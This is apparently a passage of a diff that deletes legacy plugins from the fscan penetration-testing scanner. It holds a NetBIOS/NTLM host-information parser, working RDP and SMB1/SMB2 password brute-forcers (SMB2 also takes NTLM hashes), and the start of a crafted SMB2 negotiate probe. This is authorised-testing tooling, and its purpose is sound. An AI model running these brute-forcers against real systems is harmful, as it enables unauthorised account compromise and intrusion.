||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
)
|
||||
|
||||
type NetBiosInfo struct {
|
||||
GroupName string
|
||||
WorkstationService string `yaml:"WorkstationService"`
|
||||
ServerService string `yaml:"ServerService"`
|
||||
DomainName string `yaml:"DomainName"`
|
||||
DomainControllers string `yaml:"DomainControllers"`
|
||||
ComputerName string `yaml:"ComputerName"`
|
||||
OsVersion string `yaml:"OsVersion"`
|
||||
NetDomainName string `yaml:"NetBiosDomainName"`
|
||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
||||
}
|
||||
|
||||
func (info *NetBiosInfo) String() (output string) {
|
||||
var text string
|
||||
//ComputerName 信息比较全
|
||||
if info.ComputerName != "" {
|
||||
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
|
||||
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
|
||||
} else {
|
||||
text = info.ComputerName
|
||||
}
|
||||
} else {
|
||||
//组信息
|
||||
if info.DomainName != "" {
|
||||
text += info.DomainName
|
||||
text += "\\"
|
||||
} else if info.NetDomainName != "" {
|
||||
text += info.NetDomainName
|
||||
text += "\\"
|
||||
}
|
||||
//机器名
|
||||
if info.ServerService != "" {
|
||||
text += info.ServerService
|
||||
} else if info.WorkstationService != "" {
|
||||
text += info.WorkstationService
|
||||
} else if info.NetComputerName != "" {
|
||||
text += info.NetComputerName
|
||||
}
|
||||
}
|
||||
if text == "" {
|
||||
} else if info.DomainControllers != "" {
|
||||
output = fmt.Sprintf("DC:%-24s", text)
|
||||
} else {
|
||||
output = fmt.Sprintf("%-30s", text)
|
||||
}
|
||||
if info.OsVersion != "" {
|
||||
output += " " + info.OsVersion
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(input) < 57 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
data := input[57:]
|
||||
var num int
|
||||
num, err = bytetoint(input[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n", name)
|
||||
}
|
||||
}
|
||||
if len(msg) == 0 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
if netbios.DomainName != "" {
|
||||
netbios.GroupName = netbios.DomainName
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(ret) < 47 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
var num1, num2 int
|
||||
num1, err = bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
ostext := string(tmp1[:len(tmp1)-1])
|
||||
ss := strings.Split(ostext, "|")
|
||||
netbios.OsVersion = ss[0]
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
_, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 不需要输出
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
}
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
return
|
||||
}
|
||||
|
||||
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
|
||||
netbios1.ComputerName = netbios2.ComputerName
|
||||
netbios1.NetDomainName = netbios2.NetDomainName
|
||||
netbios1.NetComputerName = netbios2.NetComputerName
|
||||
if netbios2.DomainName != "" {
|
||||
netbios1.DomainName = netbios2.DomainName
|
||||
}
|
||||
netbios1.OsVersion = netbios2.OsVersion
|
||||
return netbios1
|
||||
}
|
@ -1,401 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RDPCredential 表示一个RDP凭据
|
||||
type RDPCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
}
|
||||
|
||||
// RDPScanResult 表示RDP扫描结果
|
||||
type RDPScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential RDPCredential
|
||||
}
|
||||
|
||||
// RdpScan 执行RDP服务扫描
|
||||
func RdpScan(info *common.HostInfo) error {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
|
||||
}
|
||||
}()
|
||||
|
||||
if common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
port, _ := strconv.Atoi(info.Ports)
|
||||
target := fmt.Sprintf("%v:%v", info.Host, port)
|
||||
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []RDPCredential
|
||||
for _, user := range common.Userdict["rdp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, RDPCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
Domain: common.Domain,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(common.Userdict["rdp"]), len(common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentRdpScan(ctx, info, credentials, port, common.Timeout)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveRdpResult(info, target, port, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogDebug("RDP扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentRdpScan 并发扫描RDP服务
|
||||
func concurrentRdpScan(ctx context.Context, info *common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *RDPScanResult, 1)
|
||||
workChan := make(chan RDPCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryRdpCredential(scanCtx, info.Host, credential, port, timeoutSeconds)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
common.LogDebug("RDP并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryRdpCredential 尝试单个RDP凭据
|
||||
func tryRdpCredential(ctx context.Context, host string, credential RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
|
||||
// 创建结果通道
|
||||
resultChan := make(chan *RDPScanResult, 1)
|
||||
|
||||
// 在协程中进行连接尝试
|
||||
go func() {
|
||||
success, err := RdpConn(host, credential.Domain, credential.Username, credential.Password, port, timeoutSeconds)
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
// 上下文已取消,不返回结果
|
||||
case resultChan <- &RDPScanResult{
|
||||
Success: success,
|
||||
Error: err,
|
||||
Credential: credential,
|
||||
}:
|
||||
// 成功发送结果
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return &RDPScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
|
||||
// 单个连接超时
|
||||
return &RDPScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RdpConn 尝试RDP连接
|
||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
glog.Error("RDP连接panic:", r)
|
||||
}
|
||||
}()
|
||||
|
||||
target := fmt.Sprintf("%s:%d", ip, port)
|
||||
|
||||
// 创建RDP客户端
|
||||
client := NewClient(target, glog.NONE)
|
||||
if err := client.Login(domain, user, password, timeout); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// saveRdpResult 保存RDP扫描结果
|
||||
func saveRdpResult(info *common.HostInfo, target string, port int, credential RDPCredential) {
|
||||
var successMsg string
|
||||
|
||||
if credential.Domain != "" {
|
||||
successMsg = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v",
|
||||
target, credential.Domain, credential.Username, credential.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("RDP %v Username: %v Password: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
}
|
||||
|
||||
common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": port,
|
||||
"service": "rdp",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
if credential.Domain != "" {
|
||||
details["domain"] = credential.Domain
|
||||
}
|
||||
|
||||
vulnResult := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
common.SaveResult(vulnResult)
|
||||
}
|
||||
|
||||
// Client RDP客户端结构
|
||||
type Client struct {
|
||||
Host string // 服务地址(ip:port)
|
||||
tpkt *tpkt.TPKT // TPKT协议层
|
||||
x224 *x224.X224 // X224协议层
|
||||
mcs *t125.MCSClient // MCS协议层
|
||||
sec *sec.Client // 安全层
|
||||
pdu *pdu.Client // PDU协议层
|
||||
vnc *rfb.RFB // VNC协议(可选)
|
||||
}
|
||||
|
||||
// NewClient 创建新的RDP客户端
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
// 配置日志
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
// Login 执行RDP登录
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[连接错误] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
// 初始化协议栈
|
||||
g.initProtocolStack(conn, domain, user, pwd)
|
||||
|
||||
// 建立X224连接
|
||||
if err = g.x224.Connect(); err != nil {
|
||||
return fmt.Errorf("[X224连接错误] %v", err)
|
||||
}
|
||||
glog.Info("等待连接建立...")
|
||||
|
||||
// 等待连接完成
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
// 设置事件处理器
|
||||
g.setupEventHandlers(wg, &breakFlag, &err)
|
||||
|
||||
// 添加额外的超时保护
|
||||
connectionDone := make(chan struct{})
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(connectionDone)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-connectionDone:
|
||||
// 连接过程正常完成
|
||||
return err
|
||||
case <-time.After(time.Duration(timeout) * time.Second):
|
||||
// 超时
|
||||
if !breakFlag {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
return fmt.Errorf("连接超时")
|
||||
}
|
||||
}
|
||||
|
||||
// initProtocolStack 初始化RDP协议栈
|
||||
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
|
||||
// 创建协议层实例
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
// 设置认证信息
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
|
||||
// 配置协议层关联
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
}
|
||||
|
||||
// setupEventHandlers 设置PDU事件处理器
|
||||
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
|
||||
// 错误处理
|
||||
g.pdu.On("error", func(e error) {
|
||||
*err = e
|
||||
glog.Error("错误:", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接关闭
|
||||
g.pdu.On("close", func() {
|
||||
*err = errors.New("连接关闭")
|
||||
glog.Info("连接已关闭")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接成功
|
||||
g.pdu.On("success", func() {
|
||||
*err = nil
|
||||
glog.Info("连接成功")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接就绪
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("连接就绪")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 屏幕更新
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("屏幕更新:", rectangles)
|
||||
})
|
||||
|
||||
// 完成处理
|
||||
g.pdu.On("done", func() {
|
||||
if !*breakFlag {
|
||||
*breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
}
|
@ -1,94 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
smbcommon "github.com/shadow1ng/fscan/plugins/legacy/smb/common"
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/smb1"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
|
||||
// SmbScan 执行SMB1服务的认证扫描(重构版本)
|
||||
func SmbScan(info *common.HostInfo) error {
|
||||
if common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 创建目标信息
|
||||
target := &smbcommon.TargetInfo{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
Domain: common.Domain,
|
||||
}
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(),
|
||||
time.Duration(common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 创建连接器、凭据管理器和扫描器
|
||||
connector := smb1.NewSmb1Connector()
|
||||
credMgr := smbcommon.NewPasswordCredentialManager()
|
||||
scanner := smbcommon.NewScanner()
|
||||
|
||||
// 配置扫描参数
|
||||
config := &smbcommon.ScanConfig{
|
||||
MaxConcurrent: common.ModuleThreadNum,
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
GlobalTimeout: time.Duration(common.GlobalTimeout) * time.Second,
|
||||
}
|
||||
|
||||
// 执行扫描
|
||||
result, err := scanner.Scan(ctx, target, connector, credMgr, config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理扫描结果
|
||||
if result != nil && result.Success {
|
||||
saveSmbResult(info, result.Credential)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// saveSmbResult 保存SMB扫描结果
|
||||
func saveSmbResult(info *common.HostInfo, cred smbcommon.Credential) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 构建结果消息
|
||||
var successMsg string
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb",
|
||||
"username": cred.Username,
|
||||
"password": cred.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
if common.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s",
|
||||
target, common.Domain, cred.Username, cred.Password)
|
||||
details["domain"] = common.Domain
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s",
|
||||
target, cred.Username, cred.Password)
|
||||
}
|
||||
|
||||
// 记录成功日志
|
||||
common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
common.SaveResult(result)
|
||||
}
|
||||
|
@ -1,159 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
smbcommon "github.com/shadow1ng/fscan/plugins/legacy/smb/common"
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/smb2"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
|
||||
// SmbScan2 执行SMB2服务的认证扫描(重构版本)
|
||||
func SmbScan2(info *common.HostInfo) error {
|
||||
if common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 创建目标信息
|
||||
target := &smbcommon.TargetInfo{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
Domain: common.Domain,
|
||||
}
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(),
|
||||
time.Duration(common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 根据是否提供哈希选择认证模式
|
||||
var credMgr smbcommon.CredentialManager
|
||||
if len(common.HashBytes) > 0 {
|
||||
credMgr = smbcommon.NewHashCredentialManager()
|
||||
common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d)",
|
||||
len(common.Userdict["smb"]), len(common.HashBytes)))
|
||||
} else {
|
||||
credMgr = smbcommon.NewPasswordCredentialManager()
|
||||
common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d)",
|
||||
len(common.Userdict["smb"]), len(common.Passwords)))
|
||||
}
|
||||
|
||||
// 创建连接器和扫描器
|
||||
connector := smb2.NewSmb2Connector()
|
||||
scanner := smbcommon.NewScanner()
|
||||
|
||||
// 配置扫描参数
|
||||
config := &smbcommon.ScanConfig{
|
||||
MaxConcurrent: common.ModuleThreadNum,
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
GlobalTimeout: time.Duration(common.GlobalTimeout) * time.Second,
|
||||
}
|
||||
|
||||
// 执行扫描
|
||||
result, err := scanner.Scan(ctx, target, connector, credMgr, config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理扫描结果
|
||||
if result != nil && result.Success {
|
||||
logSuccessfulAuth(info, result.Credential, result.Shares)
|
||||
if len(result.Shares) > 0 {
|
||||
logShareInfo(info, result.Credential, result.Shares)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// logSuccessfulAuth 记录成功的认证
|
||||
func logSuccessfulAuth(info *common.HostInfo, cred smbcommon.Credential, shares []string) {
|
||||
credential := cred.Password
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
credential = common.HashValue
|
||||
}
|
||||
|
||||
// 保存认证成功结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "success",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": cred.Username,
|
||||
"domain": common.Domain,
|
||||
"type": "weak-auth",
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[cred.IsHash],
|
||||
"shares": shares,
|
||||
},
|
||||
}
|
||||
common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if common.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, common.Domain, cred.Username)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s",
|
||||
info.Host, info.Ports, cred.Username)
|
||||
}
|
||||
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", common.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", cred.Password)
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *common.HostInfo, cred smbcommon.Credential, shares []string) {
|
||||
credential := cred.Password
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
credential = common.HashValue
|
||||
}
|
||||
|
||||
// 保存共享信息结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "shares-found",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": cred.Username,
|
||||
"domain": common.Domain,
|
||||
"shares": shares,
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[cred.IsHash],
|
||||
},
|
||||
}
|
||||
common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if common.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, common.Domain, cred.Username)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s",
|
||||
info.Host, info.Ports, cred.Username)
|
||||
}
|
||||
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", common.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", cred.Password)
|
||||
}
|
||||
msg += fmt.Sprintf(" 共享:%v", shares)
|
||||
common.LogBase(msg)
|
||||
}
|
||||
|
@ -1,161 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
